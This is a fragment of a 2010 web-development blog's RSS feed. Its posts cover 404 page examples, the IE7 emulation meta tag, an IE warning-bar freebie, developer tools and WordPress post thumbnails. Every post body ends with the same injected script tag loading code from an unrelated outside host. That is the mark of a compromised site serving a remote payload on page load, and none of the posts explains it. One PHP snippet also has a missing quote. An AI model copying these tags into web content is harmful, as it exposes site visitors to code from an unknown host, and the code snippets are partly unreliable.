<p>Okay, so now you KNOW what you need in your 404 page and why you need it.  But you still don&#8217;t know what you&#8217;re up against.  There are millions of 404 pages out there, so you&#8217;ve got quite a bit of competition to design the best one.</p>
<p><a href="http://css-tricks.com/">CSS-Tricks</a></p>
<p>Chris Coyier actually shows you some of the code, as well as providing useful information.<br />
<a href="http://www.net-cake.com/wp-content/uploads/2010/02/css-tricks1.png"><img class="aligncenter size-full wp-image-214" title="css-tricks" src="http://www.net-cake.com/wp-content/uploads/2010/02/css-tricks1.png" alt="" width="500" height="500" /></a></p>
<p><a href="http://heinz.com">Heinz</a></p>
<p>Everyones favorite brand of ketchup has its very own 404 page.<br />
<a href="http://www.net-cake.com/wp-content/uploads/2010/02/heinz.png"><img class="aligncenter size-full wp-image-215" title="heinz" src="http://www.net-cake.com/wp-content/uploads/2010/02/heinz.png" alt="" width="500" height="500" /></a></p>
<p><a href="http://twitter.com">Twitter</a></p>
<p>Twitter&#8217;s own minimalistic 404 page.  It&#8217;s also worth noting that there is an actual user named @404 with one status update saying &#8211; <em>Twitter couldn’t find what you were asking for.</em><br />
<a href="http://www.net-cake.com/wp-content/uploads/2010/02/twitter.png"><img class="aligncenter size-full wp-image-216" title="twitter" src="http://www.net-cake.com/wp-content/uploads/2010/02/twitter.png" alt="" width="500" height="500" /></a></p>
<p><a href="http://forthelose.org">ForTheLose</a></p>
<p>A simple 404 page.<br />
<a href="http://www.net-cake.com/wp-content/uploads/2010/02/ftl.png"><img class="aligncenter size-full wp-image-217" title="ftl" src="http://www.net-cake.com/wp-content/uploads/2010/02/ftl.png" alt="" width="500" height="500" /></a></p>
<p><a href="http://cricketfeet.com">CricketFeet</a></p>
<p>Why not cure the loneliness of a 404 page with a talking robot?<br />
<a href="http://www.net-cake.com/wp-content/uploads/2010/02/cf.png"><img class="aligncenter size-full wp-image-218" title="cf" src="http://www.net-cake.com/wp-content/uploads/2010/02/cf.png" alt="" width="500" height="500" /></a></p>
<p><a href="http://www.realmacsoftware.com">RealMacSoftware</a></p>
<p>One of the better 404 pages out there, functionality wise.<br />
<a href="http://www.net-cake.com/wp-content/uploads/2010/02/realmac.png"><img class="aligncenter size-full wp-image-219" title="realmac" src="http://www.net-cake.com/wp-content/uploads/2010/02/realmac.png" alt="" width="500" height="500" /></a></p>
<p><a href="http//net-cake.com/404"><br />
My very own 404 page.  I think it&#8217;s pretty nice, if you have any suggestions, leave them in the comments.<br />
</a><a href="http://www.net-cake.com/wp-content/uploads/2010/02/net-cake1.png"><img class="aligncenter size-full wp-image-220" title="net-cake" src="http://www.net-cake.com/wp-content/uploads/2010/02/net-cake1.png" alt="" width="500" height="500" /></a></p>
<h2>Extra Reading</h2>
<p>Want to know more?  Just for you little over-achievers out there, here&#8217;s some of the best posts out there on 404 pages.</p>
<ul>
<li><a href="http://www.smashingmagazine.com/2009/01/29/404-error-pages-one-more-time/">404 Error Pages, One More Time</a></li>
<li><a title="Permanent Link to 404 Best Practices" rel="bookmark" href="http://css-tricks.com/404-best-practices/">404 Best Practices</a></li>
<li><a href="http://www.smashingmagazine.com/2007/07/25/wanted-your-404-error-pages/">Wanted: Your 404 Error Pages</a></li>
<li><a href="http://www.smashingmagazine.com/2007/08/17/404-error-pages-reloaded/">404 Error Pages: Reloaded</a></li>
</ul>
<h2>Fin</h2>
<p>That&#8217;s all folks, I hope you learned something.  Enjoy the world of 404, next we&#8217;ll do 503 (not really).<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.net-cake.com/404-error-pages/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Striking Snippet &#8211; IE7 Emulate</title>
		<link>http://www.net-cake.com/striking-snippet-ie7-emulate</link>
		<comments>http://www.net-cake.com/striking-snippet-ie7-emulate#comments</comments>
		<pubDate>Wed, 10 Feb 2010 01:00:58 +0000</pubDate>
		<dc:creator>Paul D'Amora</dc:creator>
				<category><![CDATA[Snippets]]></category>

		<guid isPermaLink="false">http://www.net-cake.com/?p=196</guid>
		<description><![CDATA[When you create a new design, you have to worry about compatibility for a whole bunch of browsers.  There&#8217;s Firefox, Chrome, Safari, Internet Explorer, and the list goes on and on.  Each one of these browsers that you ...]]></description>
			<content:encoded><![CDATA[<p>When you create a new design, you have to worry about compatibility for a whole bunch of browsers.  There&#8217;s Firefox, Chrome, Safari, Internet Explorer, and the list goes on and on.  Each one of these browsers that you have to worry about takes time from your busy work schedule.  Not to mention the fact that we now have yet ANOTHER version of Internet Explorer to worry about.  It was bad enough when we had to throw away hours of our time just to get IE6 and IE7 looking acceptable.  Now we have to worry about IE8, which frankly, is hardly an improvement over its predecessors when it comes to rendering the page.  So, you have another browser to worry about, but you really don&#8217;t get any decent compatibility from this browser.  Still hardly any CSS3 support, and it still manages to screw up the rendering of perfectly valid code.  </p>
<p>You may have noticed that there is a built in button in IE8 that can render the site as it would in IE7.  If a user finds that a page doesn&#8217;t look the way it&#8217;s supposed to, they can click this button, and WALLAH!  It&#8217;ll render just as it should in Internet Explorer 7.  The laughable fact that Microsoft&#8217;s method of fixing rendering problems is to display the page in a legacy browser aside, what if you could just put a line of code in your design that accomplished the same thing as this button.  Well, luckily you can.</p>
<pre class="brush: xml;">&lt;meta content=&quot;IE=EmulateIE7&quot; http-equiv=&quot;X-UA-Compatible&quot; /&gt;</pre>
<p>This is a real saving grace in some cases.  It&#8217;s so simple, you put one line of code in the head of the page, and BAM!  You have one less browser to worry about.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.net-cake.com/striking-snippet-ie7-emulate/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>New Freebie &#8211; IE Caution Tape</title>
		<link>http://www.net-cake.com/new-freebie-ie-caution-tape</link>
		<comments>http://www.net-cake.com/new-freebie-ie-caution-tape#comments</comments>
		<pubDate>Wed, 10 Feb 2010 00:38:38 +0000</pubDate>
		<dc:creator>Paul D'Amora</dc:creator>
				<category><![CDATA[Freebies]]></category>

		<guid isPermaLink="false">http://www.net-cake.com/?p=189</guid>
		<description><![CDATA[Net-Cake likes to provide its readers with ways to get jobs done easier, quicker, and better.  For our very FIRST free downloadable content, we are giving you a template for the IE Caution Tape.
Download / More Information
As mentioned in ...]]></description>
			<content:encoded><![CDATA[<p>Net-Cake likes to provide its readers with ways to get jobs done easier, quicker, and better.  For our very FIRST free downloadable content, we are giving you a template for the IE Caution Tape.</p>
<p><a href="http://www.net-cake.com/freebies/templates#caution">Download / More Information</a></p>
<p>As mentioned in an <a href="http://www.net-cake.com/fighting-internet-explorer">earlier post</a>, one method of fighting Internet Explorer, is putting a simple bar at the top of the page warning users that their browser is out of date.  This is a very simple unobtrusive way to notify your users that their browsing experience could be better if they switched browsers.  The thing with a lot of Internet Explorer users is that they don&#8217;t know how badly their choice of browser affects the web developer.  There are even some who don&#8217;t know that other browser choices exist.</p>
<p><a href="http://www.net-cake.com/freebies/templates#caution">Download / More Information</a></p>
<p>Simply add this markup and CSS to your text design, and any users using IE7 and below will see a black and yellow strip of caution tape across the top of their screen.  </p>
<p>I hope you enjoy using it, and find this method of IE fighting as effective as I have.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.net-cake.com/new-freebie-ie-caution-tape/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>5 Useful Tools for Web Developers</title>
		<link>http://www.net-cake.com/5-useful-tools-for-web-developers</link>
		<comments>http://www.net-cake.com/5-useful-tools-for-web-developers#comments</comments>
		<pubDate>Fri, 05 Feb 2010 02:17:59 +0000</pubDate>
		<dc:creator>Paul D'Amora</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.net-cake.com/?p=178</guid>
		<description><![CDATA[Web development is certainly not an easy task.  There are countless things you need to know and do.  You may think that people expect you to go in alone, but you&#8217;re wrong.  There are many useful tools out there to ...]]></description>
			<content:encoded><![CDATA[<p>Web development is certainly not an easy task.  There are countless things you need to know and do.  You may think that people expect you to go in alone, but you&#8217;re wrong.  There are many useful tools out there to give us web developers a helping hand.  I&#8217;m here to bring them all to your attention.</p>
<h2><a href="http://new.myfonts.com/WhatTheFont/">1. WhatTheFont</a></h2>
<p><a href="http://www.net-cake.com/wp-content/uploads/2010/02/wtf.png"><img class="aligncenter size-full wp-image-180" title="wtf" src="http://www.net-cake.com/wp-content/uploads/2010/02/wtf.png" alt="" width="651" height="182" /></a></p>
<p>Ever see a cool font on a site that you would just LOVE to use in your next design?  You take a closer look, and realize it&#8217;s an image.  What do you do now?  Some people might just look through all their own fonts trying to find a match.  But that leads to a lot of extra and useless work.  Why not just automate the process?  That&#8217;s what WhatTheFont (WTF) is here for.  All you need is an image with text in it.  WTF will give you a list of fonts similar to the one in the picture, and you can pick the right one on your own.  I&#8217;ve been using this tool for awhile, and I rarely have a case where it can&#8217;t find the font I&#8217;m looking for.  But when I do, I just post on their forums.  Yes, believe it or not, they have a whole community of font-enthusiasts that can instantly recognize any font, and put a name to it.</p>
<h2>2. <a href="http://www.myipneighbors.com/">My IP Neighbors</a></h2>
<h2><a href="http://www.net-cake.com/wp-content/uploads/2010/02/myipneighbors.png"><img class="aligncenter size-full wp-image-181" title="myipneighbors" src="http://www.net-cake.com/wp-content/uploads/2010/02/myipneighbors.png" alt="" width="651" height="182" /></a></h2>
<p>Most of us are on a shared server.  Meaning that there are a bunch of other websites on the same server that our site is on.  Maybe it&#8217;s just me, but I often find myself wondering, or needing to know, what other websites are on your sever.  I&#8217;ll be honest, it isn&#8217;t the greatest service.  It works, but I&#8217;ve noticed that it can randomly go into an &#8220;Under Construction&#8221; state for months at a time.  But it gets the job done.  After five minutes of using it, I know that my host packs me on to a server with hundreds of other sites, and I need to switch hosting providers.</p>
<h2>3. <a href="http://www.whoishostingthis.com/">Who Is Hosting This</a></h2>
<p><a href="http://www.net-cake.com/wp-content/uploads/2010/02/whoishostingthis.png"><img class="aligncenter size-full wp-image-183" title="whoishostingthis" src="http://www.net-cake.com/wp-content/uploads/2010/02/whoishostingthis.png" alt="" width="651" height="182" /></a></p>
<p>This goes hand in hand with My IP Neighbors.  If you&#8217;re ever curious about who is hosting a certain website, then this is the place.  When you&#8217;re actually searching for a hosting provider, this is also a great tool.  You can check out who hosts those lightning fast sites that we all love so much.</p>
<h2>4. <a href="http://isnoop.net/tools/css.php">CSS Superscrub</a></h2>
<p><a href="http://www.net-cake.com/wp-content/uploads/2010/02/csssuperscrub.png"><img class="aligncenter size-full wp-image-184" title="csssuperscrub" src="http://www.net-cake.com/wp-content/uploads/2010/02/csssuperscrub.png" alt="" width="651" height="182" /></a></p>
<p>As a developer, loading times should always be one of your main concerns.  Simple things like getting rid of redundant calls and stripping uneeded content can significantly reduce the size of any CSS file.  CSS Superscrub does that all for you.  This could significantly decrease page load times, as well as give you a more organized, and overall, better stylesheet.  I highly recommend giving it a try.</p>
<h2>5. <a href="http://www.domainscour.com/"> DomainScour</a></h2>
<p><a href="http://www.net-cake.com/wp-content/uploads/2010/02/domainscour.png"><img class="aligncenter size-full wp-image-185" title="domainscour" src="http://www.net-cake.com/wp-content/uploads/2010/02/domainscour.png" alt="" width="651" height="182" /></a></p>
<p>Every new site starts with a domain.  The problem is finding one that works for you.  You probably want to know which ones are already registered.  And you probably want to be given different options, in case your first choice was already taken.  You probably know of a few tools that can easily accomplish this task.  But in my own opinion, DomainScour is one of the best out there.  Every time I need a domain, I head to DomainScour first.</p>
<h2>Wrapup</h2>
<p>Well, I hope these tools make your life easier.  I find myself constantly using one or the other, whether I have a reason to or not.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.net-cake.com/5-useful-tools-for-web-developers/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress Post Thumbnails</title>
		<link>http://www.net-cake.com/wordpress-post-thumbnails</link>
		<comments>http://www.net-cake.com/wordpress-post-thumbnails#comments</comments>
		<pubDate>Tue, 02 Feb 2010 22:02:23 +0000</pubDate>
		<dc:creator>Paul D'Amora</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.net-cake.com/?p=141</guid>
		<description><![CDATA[You&#8217;ve probably used, or created a theme at some point or another that utilized a custom field post image hack.  Essentially, the point was to give each post its own thumbnail that adds a splash of color, and information to ...]]></description>
			<content:encoded><![CDATA[<p>You&#8217;ve probably used, or created a theme at some point or another that utilized a custom field post image hack.  Essentially, the point was to give each post its own thumbnail that adds a splash of color, and information to the actual post.  A wonderful example of this feature is this post.  With the release of 2.9, there is now a built-in function for using post thumbnails that works a lot nicer than the custom fields we used to use.  Throughout this post I&#8217;ll show you how to use this new feature, and how to degrade it for users with older versions of WordPress.</p>
<p>Anyway, now I&#8217;ll show you how to actually use this feature in your WordPress themes.</p>
<h2>1. Activate</h2>
<p>For some reason, the WordPress guys decided to not make the post thumbnail post automatically show up in the &#8220;Write Post&#8221; page.  You have to activate it via a line of code in your<strong> functions.php</strong> file.</p>
<p>So just open up functions.php in your favorite text editor, or create a blank file if it doesn&#8217;t exist already.  Add the following snippet somewhere in the file, making sure it is within the php start and end tags.</p>
<pre class="brush: php;">add_theme_support('post-thumbnails');</pre>
<p>Now, there should be a box labeled post-thumbnail in the editor.  But if you want to be backwards compatible, use an if statement so versions of WordPress below 2.9 won&#8217;t get screwed up by this function.</p>
<pre class="brush: php;">if ( function_exists( 'add_theme_support' ) ) add_theme_support( 'post-thumbnails' );</pre>
<p><a href="http://www.net-cake.com/wp-content/uploads/2010/02/post-thumbnail.png"><img class="aligncenter size-full wp-image-147" title="post-thumbnail" src="http://www.net-cake.com/wp-content/uploads/2010/02/post-thumbnail.png" alt="" width="525" height="137" /></a></p>
<h2>2. Display the Post Thumbnail in Your Theme</h2>
<p>Now that you&#8217;ve gotten the feature activated and available for use, you need to add it to your theme somewhere.</p>
<p>Add the following code somewhere in the Loop</p>
<pre class="brush: php;">&lt;?php the_post_thumbnail(); ?&gt;</pre>
<p>When you upload an image via the post-thumbnail feature it gives you several default size options.</p>
<p>The above code is essentially</p>
<pre class="brush: php;">&lt;?php the_post_thumbnail('thumbnail'); ?&gt;</pre>
<p>But you can use different size such as</p>
<pre class="brush: php;">&lt;?php the_post_thumbnail('full'); ?&gt;</pre>
<p>To display the full image.</p>
<pre class="brush: php;">&lt;?php the_post_thumbnail(medium'); ?&gt;</pre>
<p>For medium sized images.</p>
<pre class="brush: php;">&lt;?php the_post_thumbnail('large'); ?&gt;</pre>
<p>For large images.</p>
<p>These all output a generic img tag with a class of wp-post-image.</p>
<p>You can use this hook to apply styling to the image.</p>
<p>It is also possible to add a custom class to the outputted image, or customize the thumbnail size.</p>
<pre class="brush: php;">&lt;?php the_post_thumbnail(array( 175,175), array( 'class' =&gt; 'alignleft' )); ?&gt;</pre>
<p><a href="http://www.net-cake.com/wp-content/uploads/2010/02/post-thumbnail2.png"><img class="aligncenter size-full wp-image-148" title="post-thumbnail2" src="http://www.net-cake.com/wp-content/uploads/2010/02/post-thumbnail2.png" alt="" width="525" height="137" /></a></p>
<h2>3. Check if the Post has a Thumbnail</h2>
<p>If for whatever reason you need to check if the post actually has a thumbnail, use the following function -</p>
<pre class="brush: php;">
&lt;?php
	if ( has_post_thumbnail() )
		the_post_thumbnail( 'thumbnail' );
	else
		echo '&lt;img src=&quot;default-image.png&quot; alt=&quot;Example Image&quot; title=&quot;Example&quot; /&gt;';
?&gt;</pre>
<h2>4. Make it Backwards Compatible</h2>
<p><a href="http://www.wprecipes.com/wordpress-2-9-display-post-image-with-backward-compatibility">WPRecipes</a> wrote a post on how to make the WordPress 2.9 post thumbnail feature degrade.  Here&#8217;s the code.  It just checks to see it the post thumbnail function exists.  If it does not, it serves up code for a post thumbnail that&#8217;ll work in older versions of WordPress.  This is useful for people that don&#8217;t want to go through all of their older post images and change them to be compatible with this new feature.</p>
<pre class="brush: php;">
&lt;?php
	if (  (function_exists('has_post_image')) &amp;&amp; (has_post_image())  ) {
		the_post_image('thumbnail');
	} else {
		$postimageurl = get_post_meta($post-&gt;ID, 'post-image', true);
		if ($postimageurl) {
			echo '&lt;img src=&quot;'.$postimageurl.'&quot; alt=&quot;&quot; /&gt;';
		}
	}
?&gt;
</pre>
<p><a href="http://www.net-cake.com/wp-content/uploads/2010/02/post-thumbnail3.png"><img class="aligncenter size-full wp-image-149" title="post-thumbnail3" src="http://www.net-cake.com/wp-content/uploads/2010/02/post-thumbnail3.png" alt="" width="525" height="137" /></a></p>
<h2>5. Using the Post-Thumbnail Box</h2>
<p>How many of you have used the media upload in the WordPress Editor before?</p>
<p>I know that for me, this was one of the first times.  Us hardcore web designers are too cool to use built in tools like &#8220;media uploads&#8221; when we have our fancy FTP software to do it ourselves, right? Right?</p>
<p>Well, while it may seem unusual and scary, you will be forced to venture into the unknown area of the media upload when using the post thumbnail function.  By the way, I hope I&#8217;m not the only one that just noticed that button a few minutes ago, otherwise I&#8217;ll sound like a jerk.</p>
<p>Anyway, you have the post thumbnail activated, and you also have it actually inserted into the theme.  The only thing left to do is upload and image and test this baby out.  Just click the &#8220;Set thumbnail&#8221; link, and up comes the media upload window.  I&#8217;m sure you can figure out how to upload your image, and then all you have to do is select &#8220;use as thumbnail&#8221;.  It&#8217;s really that easy.</p>
<p><a href="http://www.net-cake.com/wp-content/uploads/2010/02/post-thumbnail4.png"><img class="aligncenter size-full wp-image-150" title="post-thumbnail4" src="http://www.net-cake.com/wp-content/uploads/2010/02/post-thumbnail4.png" alt="" width="525" height="137" /></a></p>
<h2>That&#8217;s A Wrap</h2>
<p>Well, hopefully you learned something about one of the newer, and more useful WordPress features.  Remember to leave a comment with questions and constructive criticism relating to this post.  And have fun with your new fancy post images, I bet all your friends will be jealous.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.net-cake.com/wordpress-post-thumbnails/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
